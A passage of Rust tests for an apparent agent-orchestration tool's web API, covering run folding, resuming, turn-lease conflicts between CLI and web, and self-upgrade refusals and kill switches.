20995    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20996        let build = APP_JS
20997            .find("function createRunCard")
20998            .expect("createRunCard exists");
20999        let update = APP_JS
21000            .find("function updateRunCard")
21001            .expect("updateRunCard exists");
21002        let end = APP_JS
21003            .find("function renderRuns")
21004            .expect("renderRuns exists");
21005
21006        // The builder's published set: the object literal assigned to `refs`.
21007        let builder = &APP_JS[build..update];
21008        let open = builder.find("refs = {").expect("createRunCard sets refs");
21009        let literal = &builder[open + "refs = {".len()..];
21010        let close = literal.find('}').expect("the refs literal is closed");
21011        let published: HashSet<&str> = literal[..close]
21012            .split(',')
21013            // `name` and `name: value` both bind `name`.
21014            .filter_map(|entry| entry.split(':').next())
21015            .map(str::trim)
21016            .filter(|name| !name.is_empty())
21017            .collect();
21018        assert!(
21019            published.len() > 5,
21020            "the refs literal did not parse into names: {published:?}"
21021        );
21022
21023        // What the updaters reach for: every `r.<name>`, where `r` is the
21024        // `const r = row.refs` alias both functions open with.
21025        let mut used: Vec<&str> = Vec::new();
21026        let updaters = &APP_JS[update..end];
21027        for (at, _) in updaters.match_indices("r.") {
21028            // `r` must be the whole identifier, not the tail of another one
21029            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21030            let before = updaters[..at].chars().next_back();
21031            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21032                continue;
21033            }
21034            let rest = &updaters[at + 2..];
21035            let len = rest
21036                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21037                .unwrap_or(rest.len());
21038            if len > 0 {
21039                used.push(&rest[..len]);
21040            }
21041        }
21042        assert!(
21043            used.len() > 5,
21044            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21045        );
21046
21047        let missing: Vec<&str> = used
21048            .iter()
21049            .copied()
21050            .filter(|name| !published.contains(name))
21051            .collect();
21052        assert!(
21053            missing.is_empty(),
21054            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21055             never put in `refs` - every card will throw and the list will \
21056             render empty under a count line that says otherwise. Published: \
21057             {published:?}"
21058        );
21059    }
21060
21061    #[tokio::test]
21062    async fn folding_from_the_phone_reports_what_it_removed() {
21063        let fx = Fixture::start().await;
21064        let runs = fx.runs();
21065
21066        // A run with no candidates has nothing to fold, which is a 200 with an
21067        // honest count rather than an error: the operator asked for the trees
21068        // to be gone and they are.
21069        let id = "20260901-000000-fold";
21070        write_run(&runs, id, RunStatus::Stalled);
21071        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21072        assert_eq!(res.status, 200);
21073        assert_eq!(res.json()["removed_count"], 0);
21074        assert_eq!(res.json()["run"], id);
21075        assert!(
21076            runs.join(id).exists(),
21077            "a fold keeps the run's record; only the worktrees go"
21078        );
21079    }
21080
21081    #[tokio::test]
21082    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21083        let fx = Fixture::start().await;
21084        let runs = fx.runs();
21085        let wt = fx.home.path().join("wt").join("magi").join("dead");
21086        let id = "20260901-000000-dead";
21087        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21088        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21089        std::fs::create_dir_all(&wt).expect("worktree dir");
21090
21091        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21092        assert_eq!(res.status, 200, "{}", res.body);
21093        assert!(
21094            res.json()["removed_count"].as_u64().unwrap() > 0,
21095            "the worktree this build could not read a state for still went"
21096        );
21097        assert!(
21098            !runs.join(id).exists(),
21099            "an unreadable run has no candidate list to fold selectively, so \
21100             the whole record goes - same as `magi fold` on the CLI"
21101        );
21102    }
21103
21104    #[tokio::test]
21105    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21106        let fx = Fixture::start().await;
21107        let runs = fx.runs();
21108        let wt = fx.home.path().join("wt").join("magi").join("gone");
21109        let id = "20260901-000000-gone";
21110        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21111        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21112        std::fs::create_dir_all(&wt).expect("worktree dir");
21113
21114        let res = fx.delete(&format!("/api/runs/{id}")).await;
21115        assert_eq!(res.status, 204, "{}", res.body);
21116        assert!(!runs.join(id).exists(), "the broken record is gone");
21117        assert!(!wt.exists(), "its worktree is gone too");
21118    }
21119
21120    #[tokio::test]
21121    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21122        let fx = Fixture::start().await;
21123        let runs = fx.runs();
21124        let id = "20260901-000000-live";
21125        write_run(&runs, id, RunStatus::Implementing);
21126
21127        let mut beat = crate::daemon::Status::new();
21128        beat.current = vec![crate::daemon::Current {
21129            task: "20260901-000000-task".to_owned(),
21130            run: id.to_owned(),
21131        }];
21132        beat.updated_at = jiff::Timestamp::now();
21133        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21134            .expect("publish a heartbeat");
21135
21136        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21137        assert_eq!(res.status, 409);
21138        assert!(
21139            res.json()["error"]
21140                .as_str()
21141                .unwrap()
21142                .contains("live daemon"),
21143            "folding under a running agent would pull its worktree away"
21144        );
21145    }
21146
21147    #[tokio::test]
21148    async fn fold_merged_requires_a_pr_url() {
21149        let fx = Fixture::start().await;
21150        let runs = fx.runs();
21151        let id = "20260901-000000-nourl";
21152        write_run(&runs, id, RunStatus::Blocked);
21153
21154        let res = fx
21155            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21156            .await;
21157        assert_eq!(res.status, 400, "{}", res.body);
21158
21159        let blank = fx
21160            .post(
21161                &format!("/api/runs/{id}/fold-merged"),
21162                Some(r#"{"pr_url":"   "}"#),
21163            )
21164            .await;
21165        assert_eq!(blank.status, 400, "{}", blank.body);
21166    }
21167
21168    #[tokio::test]
21169    async fn fold_merged_is_404_for_an_unknown_run() {
21170        let fx = Fixture::start().await;
21171        let res = fx
21172            .post(
21173                "/api/runs/nosuchrun/fold-merged",
21174                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21175            )
21176            .await;
21177        assert_eq!(res.status, 404, "{}", res.body);
21178    }
21179
21180    #[tokio::test]
21181    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21182        let fx = Fixture::start().await;
21183        let runs = fx.runs();
21184        let id = "20260901-000000-livemerge";
21185        write_run(&runs, id, RunStatus::Blocked);
21186
21187        let mut beat = crate::daemon::Status::new();
21188        beat.current = vec![crate::daemon::Current {
21189            task: "20260901-000000-task".to_owned(),
21190            run: id.to_owned(),
21191        }];
21192        beat.updated_at = jiff::Timestamp::now();
21193        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21194            .expect("publish a heartbeat");
21195
21196        let res = fx
21197            .post(
21198                &format!("/api/runs/{id}/fold-merged"),
21199                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21200            )
21201            .await;
21202        assert_eq!(res.status, 409, "{}", res.body);
21203        assert!(
21204            res.json()["error"]
21205                .as_str()
21206                .unwrap()
21207                .contains("live daemon"),
21208            "correcting a run's merge underneath a running agent would race \
21209             whatever it is doing to the same `status`/`merge` fields"
21210        );
21211    }
21212
21213    /// A pull request `gh` cannot even ask about (no such remote, no such
21214    /// repository) must never be recorded as a merge on a guess - the same
21215    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21216    /// command line, reached here through the phone route instead.
21217    #[tokio::test]
21218    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21219        let fx = Fixture::start().await;
21220        let runs = fx.runs();
21221        let id = "20260901-000000-unconfirmed";
21222        write_run(&runs, id, RunStatus::Blocked);
21223
21224        let res = fx
21225            .post(
21226                &format!("/api/runs/{id}/fold-merged"),
21227                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21228            )
21229            .await;
21230        assert_eq!(res.status, 400, "{}", res.body);
21231        assert_eq!(
21232            read_run(&runs, id).unwrap().status,
21233            RunStatus::Blocked,
21234            "a pull request that could not be confirmed merged must leave \
21235             the run exactly where it was"
21236        );
21237    }
21238
21239    #[tokio::test]
21240    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21241        let fx = Fixture::start().await;
21242        let runs = fx.runs();
21243
21244        // Only a finished run and a failed one. An *interrupted* run - a
21245        // parked one, or one whose daemon was killed mid-node - is the case
21246        // resuming exists for: run 4043 sat at `reviewing` with the deck
21247        // saying it could not be resumed, which was the one state where
21248        // resuming was the only sensible answer.
21249        for (status, word) in [
21250            (RunStatus::Merged, "merged"),
21251            (RunStatus::Ready, "ready"),
21252            (RunStatus::Failed, "failed"),
21253        ] {
21254            let id = format!("20260901-000000-{}", &word[..4]);
21255            write_run(&runs, &id, status);
21256            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21257            assert_eq!(res.status, 409, "{word} must not be resumable");
21258            let err = res.json()["error"].as_str().unwrap().to_owned();
21259            assert!(err.contains(word), "the refusal names the status: {err}");
21260        }
21261
21262        // And an interrupted run is accepted: 202, with the resume running in
21263        // the background. `Runner::resume` fails immediately here - the
21264        // fixture's run points at a repository that does not exist - which is
21265        // the point: the handler must not wait for it to find out.
21266        let mid = "20260901-000000-midf";
21267        write_run(&runs, mid, RunStatus::Reviewing);
21268        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21269        assert_eq!(res.status, 202, "an interrupted run is resumable");
21270    }
21271
21272    #[tokio::test]
21273    async fn resume_is_refused_while_the_loop_is_running() {
21274        let fx = Fixture::start().await;
21275        let runs = fx.runs();
21276        let stalled = "20260901-000000-stal";
21277        write_run(&runs, stalled, RunStatus::Stalled);
21278
21279        // The loop is busy with a *different* run, and that is still a
21280        // refusal: a manual resume must never race whatever the loop itself
21281        // is already driving, whether that is one run or several.
21282        let mut beat = crate::daemon::Status::new();
21283        beat.current = vec![crate::daemon::Current {
21284            task: "20260901-000000-task".to_owned(),
21285            run: "20260901-000000-othr".to_owned(),
21286        }];
21287        beat.updated_at = jiff::Timestamp::now();
21288        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21289            .expect("publish a heartbeat");
21290
21291        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21292        assert_eq!(res.status, 409);
21293        let err = res.json()["error"].as_str().unwrap().to_owned();
21294        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21295        assert!(err.contains("stop it first"), "{err}");
21296    }
21297
21298    #[test]
21299    fn a_run_cannot_be_resumed_twice_at_once() {
21300        let home = TempDir::new().expect("temp home");
21301        let ui = Ui::new(
21302            Queue::at(home.path().join("queue")),
21303            Questions::at(home.path().join("questions")),
21304            Talks::at(home.path().join("talks")),
21305            home.path().join("runs"),
21306            home.path().to_path_buf(),
21307            PathBuf::from("/repo"),
21308        )
21309        .with_worktrees_root(home.path().join("wt"));
21310        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21311        let again = ui.begin_resume("20260901-000000-once");
21312        assert!(again.is_err(), "a second tap must not start a second graph");
21313        drop(first);
21314        assert!(
21315            ui.begin_resume("20260901-000000-once").is_ok(),
21316            "and the claim is released when the attempt ends"
21317        );
21318    }
21319
21320    #[test]
21321    fn talk_thinking_tracks_only_its_held_turn_claim() {
21322        let home = TempDir::new().expect("temp home");
21323        let ui = Ui::new(
21324            Queue::at(home.path().join("queue")),
21325            Questions::at(home.path().join("questions")),
21326            Talks::at(home.path().join("talks")),
21327            home.path().join("runs"),
21328            home.path().to_path_buf(),
21329            PathBuf::from("/repo"),
21330        )
21331        .with_worktrees_root(home.path().join("wt"));
21332        let id = "20260901-000000-once";
21333
21334        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21335        let turn = ui.begin_talk_turn(id).expect("claim turn");
21336        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21337        assert!(
21338            !ui.is_thinking("20260901-000000-other"),
21339            "one talk's turn does not make another talk busy"
21340        );
21341        drop(turn);
21342        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21343    }
21344
21345    #[test]
21346    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21347        let home = TempDir::new().expect("temp home");
21348        let talks = Talks::at(home.path().join("talks"));
21349        let ui = Ui::new(
21350            Queue::at(home.path().join("queue")),
21351            Questions::at(home.path().join("questions")),
21352            talks.clone(),
21353            home.path().join("runs"),
21354            home.path().to_path_buf(),
21355            PathBuf::from("/repo"),
21356        )
21357        .with_worktrees_root(home.path().join("wt"));
21358        let id = "20260901-000000-cross";
21359
21360        let other = Talks::at(home.path().join("talks"))
21361            .claim_turn(id)
21362            .expect("claim")
21363            .expect("the other process wins");
21364        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21365        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21366        assert!(
21367            matches!(
21368                ui.begin_talk_turn_unless_pending(id).expect("start"),
21369                TalkTurnStart::Foreign
21370            ),
21371            "a foreign holder is refused, not queued behind"
21372        );
21373        assert!(
21374            !ui.talk_turns.lock().unwrap().live.contains(id),
21375            "a refused claim leaves no in-process entry behind"
21376        );
21377        drop(other);
21378        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21379        assert!(talks.turn_held(id), "the web turn holds the lease");
21380        drop(turn);
21381        assert!(
21382            !talks.turn_held(id),
21383            "dropping the guard releases the lease"
21384        );
21385    }
21386
21387    fn consult_question(ui: &Ui) -> Question {
21388        let mut q = Question::new(
21389            "20260901-000000-consult".to_owned(),
21390            "implement".to_owned(),
21391            "impl-A".to_owned(),
21392            "Which backend?".to_owned(),
21393            String::new(),
21394            vec!["SQLite".to_owned(), "Redis".to_owned()],
21395        );
21396        ui.questions.put(&mut q).expect("question");
21397        q
21398    }
21399
21400    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21401        (
21402            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21403            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21404        )
21405    }
21406
21407    #[tokio::test]
21408    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21409        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21410        let q = consult_question(&ui);
21411        let talk = ui.talks.get(&id).expect("talk");
21412        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21413        let before = consult_snapshot(&ui, &q, &id);
21414        let cli_talks = Talks::at(ui.home.join("talks"));
21415        assert_eq!(
21416            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21417                .await
21418                .expect("CLI starter"),
21419            crate::consult::Started::Busy
21420        );
21421        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21422        assert!(ui.is_thinking(&id));
21423        drop(guard);
21424        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21425    }
21426
21427    #[tokio::test]
21428    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21429        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21430        let q = consult_question(&ui);
21431        let talk = ui.talks.get(&id).expect("talk");
21432        let started = tmp.path().join("started");
21433        let release = tmp.path().join("release");
21434        let script = tmp.path().join("consult-agent.sh");
21435        std::fs::write(
21436            &script,
21437            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21438        )
21439        .expect("script");
21440        let mut cfg = stub_config();
21441        cfg.agents[0].id = "mock".to_owned();
21442        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21443        cfg.agents[0].env = std::collections::BTreeMap::from([
21444            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21445            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21446        ]);
21447        let questions = ui.questions.clone();
21448        let cli_talks = Talks::at(ui.home.join("talks"));
21449        let cli_q = q.clone();
21450        let turn = tokio::spawn(async move {
21451            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21452        });
21453        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21454            while !started.exists() {
21455                tokio::time::sleep(Duration::from_millis(10)).await;
21456            }
21457        })
21458        .await;
21459        // Always release and join the agent, even if readiness or the web
21460        // request fails, so a failed assertion cannot leave a turn behind.
21461        let refusal = if ready.is_ok() {
21462            let before = consult_snapshot(&ui, &q, &id);
21463            let result = talk_say(
21464                State(Arc::clone(&ui)),
21465                Path(id.clone()),
21466                Ok(Json(NewTalkTurn {
21467                    reply_to: None,
21468                    text: "another message".to_owned(),
21469                    attachments: Vec::new(),
21470                })),
21471            )
21472            .await;
21473            Some((result, before, consult_snapshot(&ui, &q, &id)))
21474        } else {
21475            None
21476        };
21477        std::fs::write(&release, "").expect("release agent");
21478        let done = turn.await.expect("join CLI turn");
21479        ready.expect("agent started before deadline");
21480        let (result, before, after) = refusal.expect("web request");
21481        let error = result.expect_err("web must refuse the CLI's turn");
21482        assert_eq!(error.status, StatusCode::CONFLICT);
21483        assert!(error.message.contains("a turn is already running"));
21484        assert_eq!(
21485            after, before,
21486            "refusal preserves question, draft and history"
21487        );
21488        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21489        let guard = ui
21490            .begin_talk_turn(&id)
21491            .expect("web claim")
21492            .expect("free again");
21493        drop(guard);
21494    }
21495
21496    #[test]
21497    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21498        let home = TempDir::new().expect("temp home");
21499        let talks = Talks::at(home.path().join("talks"));
21500        let ui = Ui::new(
21501            Queue::at(home.path().join("queue")),
21502            Questions::at(home.path().join("questions")),
21503            talks.clone(),
21504            home.path().join("runs"),
21505            home.path().to_path_buf(),
21506            PathBuf::from("/repo"),
21507        )
21508        .with_worktrees_root(home.path().join("wt"));
21509        let id = "20260901-000000-order";
21510        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21511        // Hold the slot mutex so the drop can finish the lease but not the slot.
21512        let slots = ui.talk_turns.lock().unwrap();
21513        let dropper = std::thread::spawn(move || drop(turn));
21514        let start = std::time::Instant::now();
21515        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21516            std::thread::sleep(Duration::from_millis(5));
21517        }
21518        assert!(!talks.turn_held(id), "the lease is released first");
21519        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21520        drop(slots);
21521        dropper.join().expect("join");
21522        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21523    }
21524
21525    #[tokio::test]
21526    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21527        let fx = Fixture::start().await;
21528        // Somebody else's `magi serve` owns the queue. Replacing this binary
21529        // would leave that process running an old one against the same
21530        // claims, which is worse than refusing.
21531        let mut beat = crate::daemon::Status::new();
21532        beat.pid = 4321;
21533        beat.updated_at = jiff::Timestamp::now();
21534        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21535            .expect("publish a heartbeat");
21536
21537        let res = fx.post("/api/upgrade", None).await;
21538        assert_eq!(res.status, 409);
21539        let err = res.json()["error"].as_str().unwrap().to_owned();
21540        assert!(err.contains("4321"), "the refusal names the owner: {err}");
21541        assert!(err.contains("old one against the same queue"), "{err}");
21542    }
21543
21544    /// [`should_spawn_recheck`] must refuse for the same two reasons
21545    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21546    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21547    /// Purely a predicate over config and the environment - no network, no
21548    /// disk, no runtime - so unlike the fixture-based tests around it this
21549    /// one needs neither.
21550    #[test]
21551    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21552        assert!(!should_spawn_recheck(&crate::config::Update {
21553            mode: UpdateMode::Off,
21554            interval: None,
21555        }));
21556
21557        // SAFETY: single-threaded as far as this variable goes, the same
21558        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21559        unsafe {
21560            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21561        }
21562        let killed = should_spawn_recheck(&crate::config::Update {
21563            mode: UpdateMode::Notify,
21564            interval: None,
21565        });
21566        unsafe {
21567            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21568        }
21569        assert!(
21570            !killed,
21571            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21572             one-time startup check"
21573        );
21574
21575        assert!(should_spawn_recheck(&crate::config::Update {
21576            mode: UpdateMode::Notify,
21577            interval: None,
21578        }));
21579    }
21580
21581    /// [`recheck_poll_period`] must track a configured `[update] interval`
21582    /// shorter than its own default ceiling - a fixed sleep here would leave
21583    /// an operator's short interval waiting on the next wake-up instead of on
21584    /// `should_check`, which is the same bug this whole task exists to fix,
21585    /// just one level down.
21586    #[test]
21587    fn recheck_poll_period_tracks_a_short_configured_interval() {
21588        let short = crate::config::Update {
21589            mode: UpdateMode::Notify,
21590            interval: Some("1m".to_owned()),
21591        };
21592        let period = recheck_poll_period(&short);
21593        assert!(
21594            period <= Duration::from_secs(30),
21595            "a one-minute interval must wake the task far sooner than the \
21596             default ceiling, or the deck would not notice within the \
21597             interval the operator configured: got {period:?}"
21598        );
21599
21600        let default = crate::config::Update {
21601            mode: UpdateMode::Notify,
21602            interval: None,
21603        };
21604        assert_eq!(
21605            recheck_poll_period(&default),
21606            UPDATE_RECHECK_POLL_MAX,
21607            "the default day-long interval should poll at the (capped) \
21608             ceiling rather than needlessly often"
21609        );
21610    }
21611
21612    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21613    /// same throttle `updater::Checker::should_check` already gives the
21614    /// CLI's notify mode. Built over an explicit state file via
21615    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21616    /// write the operator's real `last_update_check.json` - and therefore
21617    /// cannot flake on whatever that file happens to say on the machine
21618    /// running the test.
21619    #[test]
21620    fn recheck_skips_the_network_before_the_interval_elapses() {
21621        let dir = TempDir::new().expect("temp dir");
21622        let path = dir.path().join("state.json");
21623        let state = kaishin::UpdateCheckState {
21624            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21625            last_known_latest: None,
21626            last_known_url: None,
21627        };
21628        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21629
21630        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21631        assert!(
21632            !update_recheck_due(&checker, None),
21633            "a check made moments ago must not be repeated before the \
21634             configured interval elapses"
21635        );
21636    }
21637
21638    /// An upgrade this deck already started must not be raced by a recheck
21639    /// that discovers a newer release mid-install - regardless of what
21640    /// `should_check` says, which is why the state file here is missing
21641    /// entirely: read alone, that alone would answer "never checked, go
21642    /// ahead".
21643    #[test]
21644    fn recheck_defers_to_an_upgrade_already_in_flight() {
21645        let dir = TempDir::new().expect("temp dir");
21646        let path = dir.path().join("state.json");
21647        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21648        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21649
21650        assert!(
21651            !update_recheck_due(&checker, Some(&progress)),
21652            "a recheck must not run while an upgrade this deck started is \
21653             still moving"
21654        );
21655    }
21656
21657    #[tokio::test]
21658    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21659        // The same env var the background check honours (`disabled_by_env`)
21660        // must also stop a button press before it ever calls
21661        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21662        // means "never contact GitHub from this process", and a tap on the
21663        // upgrade button must not override that any more than a broken
21664        // `magi.toml` may. Left unset, this fixture's default config would
21665        // otherwise reach a real, unauthenticated GitHub call.
21666        //
21667        // SAFETY: single-threaded as far as this variable goes - nothing else
21668        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21669        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21670        unsafe {
21671            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21672        }
21673        let fx = Fixture::start().await;
21674        let res = fx.post("/api/upgrade", None).await;
21675        unsafe {
21676            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21677        }
21678        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21679        let body = res.json();
21680        assert!(body["to"].is_null(), "there was no release to move to");
21681        assert!(body["parked"].is_null(), "and nothing was parked");
21682        assert!(
21683            body["detail"]
21684                .as_str()
21685                .unwrap()
21686                .contains("disabled by MAGI_NO_AUTOUPDATE"),
21687            "{body:?}"
21688        );
21689    }
21690
21691    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21692        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21693        p.stage = stage;
21694        p
21695    }
21696
21697    #[test]
21698    fn busy_stages_match_the_ui_set() {
21699        use crate::updater::Stage;
21700        assert!(APP_JS.contains(
21701            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21702        ));
21703        for s in [
21704            Stage::Downloading,
21705            Stage::Replaced,
21706            Stage::Parking,
21707            Stage::Restarting,
21708        ] {
21709            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21710        }
21711        for s in [Stage::Done, Stage::Failed] {
21712            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21713        }
21714        assert!(upgrade_in_motion(None).is_none());
21715    }
21716
21717    #[tokio::test]
21718    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21719        use crate::updater::Stage;
21720        for stage in [
21721            Stage::Downloading,
21722            Stage::Replaced,
21723            Stage::Parking,
21724            Stage::Restarting,
21725        ] {
21726            let fx = Fixture::start().await;
21727            let seeded = seeded_progress(stage);
21728            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21729            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21730                .expect("read");
21731
21732            let res = fx.post("/api/upgrade", None).await;
21733            assert_eq!(res.status, 409, "{stage:?}");
21734            let err = res.json()["error"].as_str().unwrap().to_owned();
21735            assert!(err.contains("already in progress"), "{err}");
21736            assert!(err.contains(stage.as_str()), "{err}");
21737
21738            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21739                .expect("read");
21740            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21741            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21742                .unwrap_or_default();
21743            assert!(!log.contains("signalling HANDOVER"), "{log}");
21744        }
21745    }
21746
21747    #[test]
21748    fn upgrade_retry_timing_only_parses_known_diagnostics() {
21749        assert_eq!(
21750            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21751            Some(3723)
21752        );
21753        assert_eq!(
21754            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21755            Some(60)
21756        );
21757        assert_eq!(
21758            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21759            Some(0)
21760        );
21761        for message in [
21762            "permission denied",
21763            "GitHub API rate limit exceeded",
21764            "GitHub rate limit (resets in unknown)",
21765            "GitHub rate limit (resets in 18446744073709551615d)",
21766        ] {
21767            assert_eq!(upgrade_retry_after(message), None, "{message}");
21768        }
21769    }
21770
21771    #[tokio::test]
21772    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21773        let home = TempDir::new().unwrap();
21774        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21775        ui.start_loop(None).unwrap();
21776        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21777        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21778        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21779        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21780        let response = finish_upgrade_request(&ui, result);
21781        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21782        assert_eq!(response.headers()["retry-after"], "120");
21783        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21784            .await
21785            .unwrap();
21786        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21787        assert!(body["error"].as_str().unwrap().contains(reason));
21788        assert_eq!(body["retry_after_secs"], 120);
21789        assert!(body["retry_at"].as_u64().is_some());
21790        for _ in 0..2 {
21791            let view = health(State(ui.clone())).await.unwrap().0;
21792            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21793            assert_eq!(failure, body);
21794        }
21795        assert_eq!(
21796            std::fs::read(updater::progress_path(home.path())).unwrap(),
21797            before
21798        );
21799        assert!(!ui.lock_loop().resume_after_handover);
21800        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21801        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21802        // A conflicting request must not erase the actionable earlier failure.
21803        let gate = ui.upgrade_gate.lock().await;
21804        assert_eq!(
21805            upgrade_post(State(ui.clone())).await.status(),
21806            StatusCode::CONFLICT
21807        );
21808        drop(gate);
21809        assert!(
21810            health(State(ui.clone()))
21811                .await
21812                .unwrap()
21813                .0
21814                .upgrade_request_error
21815                .is_some()
21816        );
21817        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21818        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21819        assert!(
21820            health(State(ui.clone()))
21821                .await
21822                .unwrap()
21823                .0
21824                .upgrade_request_error
21825                .is_none()
21826        );
21827        let live = ui.lock_loop().live.take().unwrap();
21828        live.stop.stop();
21829        live.handle.await.unwrap();
21830    }
21831
21832    #[tokio::test]
21833    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21834        use crate::updater::Stage;
